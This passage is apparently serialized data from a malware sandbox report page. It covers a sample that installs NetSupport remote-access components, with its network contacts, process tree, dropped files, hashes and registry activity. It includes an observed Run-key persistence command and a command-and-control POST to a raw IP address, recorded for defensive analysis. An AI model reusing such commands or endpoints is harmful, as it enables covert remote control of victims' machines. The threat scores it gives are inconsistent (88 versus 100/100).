bit","state":"SUCCESS","verdict":"malicious","threat_score":88,"malware_family":"Adware.GenericKD","contacted_countries":["USA"],"submit_name":"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","analysis_start_time":"2026-08-22T12:02:21+00:00","indicators_count":{"informative":290,"suspicious":57,"malicious":2},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6738982f2958b66bc5052faf","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":57,"contacted_countries":["USA"],"submit_name":"123.exe","analysis_start_time":"2024-11-16T13:03:44+00:00","indicators_count":{"informative":246,"suspicious":60,"malicious":4},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"45.61.128.74","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"address":"104.26.1.231","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"address":"104.26.0.231","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}],"dns_resolutions":[{"domain":"geo.netsupportsoftware.com","address":"104.26.1.231","ttl":300,"country":"United States","registrar_name":"GANDI SAS","registrar_organization":"Netsupport Limited","registrar_name_servers":"NS10.NETSUPPORT.NET","registrar_creation_date":"2002-10-25T09:54:34+00:00","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}],"http_requests":[{"host":"45.61.128.74","host_ip":"45.61.128.74:443","url":"http://45.61.128.74/fakeurl.htm","method":"POST","response_code":"200","response_phrase":"OK","header":"POST http://45.61.128.74/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 22\nHost: 45.61.128.74\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"host":"geo.netsupportsoftware.com","host_ip":"104.26.1.231:80","url":"/location/loca.asp","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /location/loca.asp HTTP/1.1\nHost: geo.netsupportsoftware.com\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}],"processes":[{"pid":1540,"ppid":0,"name":"123.exe","command_line":"","sha256":"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","normalized_path":"C:\\123.exe","uid":"00000000-00001540","icon":"$66"},{"pid":6244,"ppid":1540,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Public\\Videos\\Video\\netsup.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00001540","uid":"00000000-00006244"},{"pid":7332,"ppid":6244,"name":"reg.exe","command_line":"REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Netstat\" /t REG_SZ /F /D \"%PUBLIC%\\Public\\Videos\\Video\\bild.exe\"","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00006244","uid":"00000000-00007332"},{"pid":6604,"ppid":6244,"name":"bild.exe","command_line":"","sha256":"49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3","normalized_path":"%PUBLIC%\\Public\\Videos\\Video\\bild.exe","parent_uid":"00000000-00006244","uid":"00000000-00006604"}],"all_imported_dlls":["win32u.dll","VxSSL32.dll","rsaenh.dll","comctl32.dll","iertutil.dll","wintrust.dll","NapiNSP.dll","rasadhlp.dll","sspicli.dll","msvcp_win.dll","ole32.dll","oleaut32.dll","cryptsp.dll","netutils.dll","HTCTL32.DLL","FirewallAPI.dll","ntdll.dll","advapi32.dll","ntmarta.dll","Windows.StateRepositoryPS.dll","setupapi.dll","cmdext.dll","dbghelp.dll","devobj.dll","WindowsCodecs.dll","propsys.dll","rpcrt4.dll","dwmapi.dll","SHCore.dll","windows.storage.dll","powrprof.dll","imagehlp.dll","fltLib.dll","user32.dll","gdi32.dll","shlwapi.dll","winmm.dll","msvcr100.dll","mswsock.dll","dhcpcsvc6.dll","KernelBase.dll","sechost.dll","cfgmgr32.dll","profapi.dll","wtsapi32.dll","crypt32.dll","winrnr.dll","fwbase.dll","tiptsf.dll","netapi32.dll","samcli.dll","riched32.dll","fwpolicyiomgr.dll","psapi.dll","cryptbase.dll","uxtheme.dll","wbemprox.dll","gdi32full.dll","OneCoreUAPCommonProxyStub.dll","wow64win.dll","bcryptprimitives.dll","sfc_os.dll","shfolder.dll","PCICHEK.DLL","IPHLPAPI.DLL","nsi.dll","FWPUCLNT.DLL","wow64.dll","wow64cpu.dll","msvcrt.dll","kernel.appcore.dll","msctf.dll","urlmon.dll","pcacli.dll","PCICL32.DLL","clbcatq.dll","edputil.dll","combase.dll","usp10.dll","msls31.dll","wininet.dll","dbgcore.dll","nlaapi.dll","aepic.dll","ws2_32.dll","kernel32.dll","GdiPlus.dll","ucrtbase.dll","pnrpnsp.dll","winsta.dll","dnsapi.dll","version.dll","shell32.dll","cldapi.dll","apphelp.dll","comdlg32.dll","pcicapi.dll","winmmbase.dll","msasn1.dll","imm32.dll","bcrypt.dll","mpr.dll","CoreMessaging.dll","wsock32.dll","dhcpcsvc.dll","OnDemandConnRouteHelper.dll","winhttp.dll","riched20.dll","msIso.dll","winnsi.dll","api-ms-win-crt-runtime-l1-1-0.dll","secur32.dll","WSHTCPIP.DLL","api-ms-win-downlevel-advapi32-l2-1-0.dll","wship6.dll","api-ms-win-crt-environment-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","wkscli.dll","lpk.dll","api-ms-win-crt-utility-l1-1-0.dll","fastprox.dll","api-ms-win-crt-filesystem-l1-1-0.dll","winbrand.dll","api-ms-win-crt-math-l1-1-0.dll","ieframe.dll","msvcp140.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","userenv.dll","npmproxy.dll","api-ms-win-core-localization-l1-2-0.dll","ntdsapi.dll","netprofm.dll","api-ms-win-crt-convert-l1-1-0.dll","wbemsvc.dll","wbemcomn2.dll","wshqos.dll","RpcRtRemote.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","api-ms-win-core-file-l1-2-0.dll","srvcli.dll","api-ms-win-core-processthreads-l1-1-1.dll","normaliz.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-crt-heap-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","Wldap32.dll","api-ms-win-core-timezone-l1-1-0.dll","rpcss.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","vcruntime140.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-crt-string-l1-1-0.dll","webio.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"PCICL32.DLL","sha256":"63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"bild.exe","sha256":"49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"8f1126d4d4ab9ab0bc3e9479906e9490ce128ada00db26f8bff4389627087ac9","sha256":"8f1126d4d4ab9ab0bc3e9479906e9490ce128ada00db26f8bff4389627087ac9","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"NSM.LIC","sha256":"2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"HTCTL32.DLL","sha256":"edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"3532d9001459bfee5303b8fff962bfe348da33f36e8f2baa6020423fba07fab1","sha256":"3532d9001459bfee5303b8fff962bfe348da33f36e8f2baa6020423fba07fab1","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"TCCTL32.DLL","sha256":"6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"msvcr100.dll","sha256":"8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18","verdict":"likely_benign","sources":[{"report_type":"qsp","report_id":""}]},{"name":"48bb37229db2c5a72984e545d591d5c87dec4fa5989eb7ae74c146cbe0adb446","sha256":"48bb37229db2c5a72984e545d591d5c87dec4fa5989eb7ae74c146cbe0adb446","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"netsup.bat","sha256":"7182655a9f8489e5b761c16192f3de1662114f7aa9938f87e0062f8859dae7f5","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"2baf6103ca9a10f2a7d6f650052d0deb08e34bb114871a212bf47cfba711b126","sha256":"2baf6103ca9a10f2a7d6f650052d0deb08e34bb114871a212bf47cfba711b126","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"client32.ini","sha256":"0bd4dc8b66c588f715b117021ef14c959e396f5cc6041f885f0d121401bc267a","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"c9ff30910ad3ac602c440f25d0247b2fdcc32b6587cfcf845dfa87b8cb25410c","sha256":"c9ff30910ad3ac602c440f25d0247b2fdcc32b6587cfcf845dfa87b8cb25410c","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"nskbfltr.inf","sha256":"d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"6c2a29c4a01a47bbe937c10463c6c099976e22d70ec25a67249d4742fef99eb1","sha256":"6c2a29c4a01a47bbe937c10463c6c099976e22d70ec25a67249d4742fef99eb1","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"pcicapi.dll","sha256":"9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"PCICHEK.DLL","sha256":"313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"remcmdstub.exe","sha256":"26dbb528c270c812423c3359fc54d13c52d459cc0e8bc9b0d192725eda34e534","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"loca_1_.htm","sha256":"00c6bbb167b8efc43f9f4d5d9e8674040c634e71737b7e99c9630a2513e1a1cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}],"files_written":[{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\__tmp_rar_sfx_access_check_907978140","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\netsup.bat","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\nskbfltr.inf","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\NSM.LIC","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\pcicapi.dll","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\PCICHEK.DLL","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\PCICL32.DLL","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\remcmdstub.exe","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\TCCTL32.DLL","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\bild.exe","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\client32.ini","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\HTCTL32.DLL","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\msvcr100.dll","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\loca[1].htm","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"path":"%PUBLIC%\\Public\\Videos\\Video\\__tmp_rar_sfx_access_check_907585658","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2UXTWTJR\\loca[1].htm","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:1540:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"Local\\SM0:1540:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"SM0:1540:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"SM0:1540:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"Local\\SM0:6604:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"SM0:6604:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}]}},"report_ids":{"sandbox_job_ids":["6a898fcbe16b3652730b64a9","6738982f2958b66bc5052faf"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Adware.Generic Sample 33b22fce68d5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 33b22fce68d5…. Malware family: Adware.Generic. Threat score 100/100. 9/25 AV engines flagged this file. 5 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272"}],["$","meta","4",{"property":"og:title","content":"Malicious Adware.Generic Sample 33b22fce68d5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 33b22fce68d5…. Malware family: Adware.Generic. Threat score 100/100. 9/25 AV engines flagged this file. 5 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Adware.Generic Sample 33b22fce68d5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 33b22fce68d5…. Malware family: Adware.Generic. Threat score 100/100. 9/25 AV engines flagged this file. 5 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L67","11",{}]]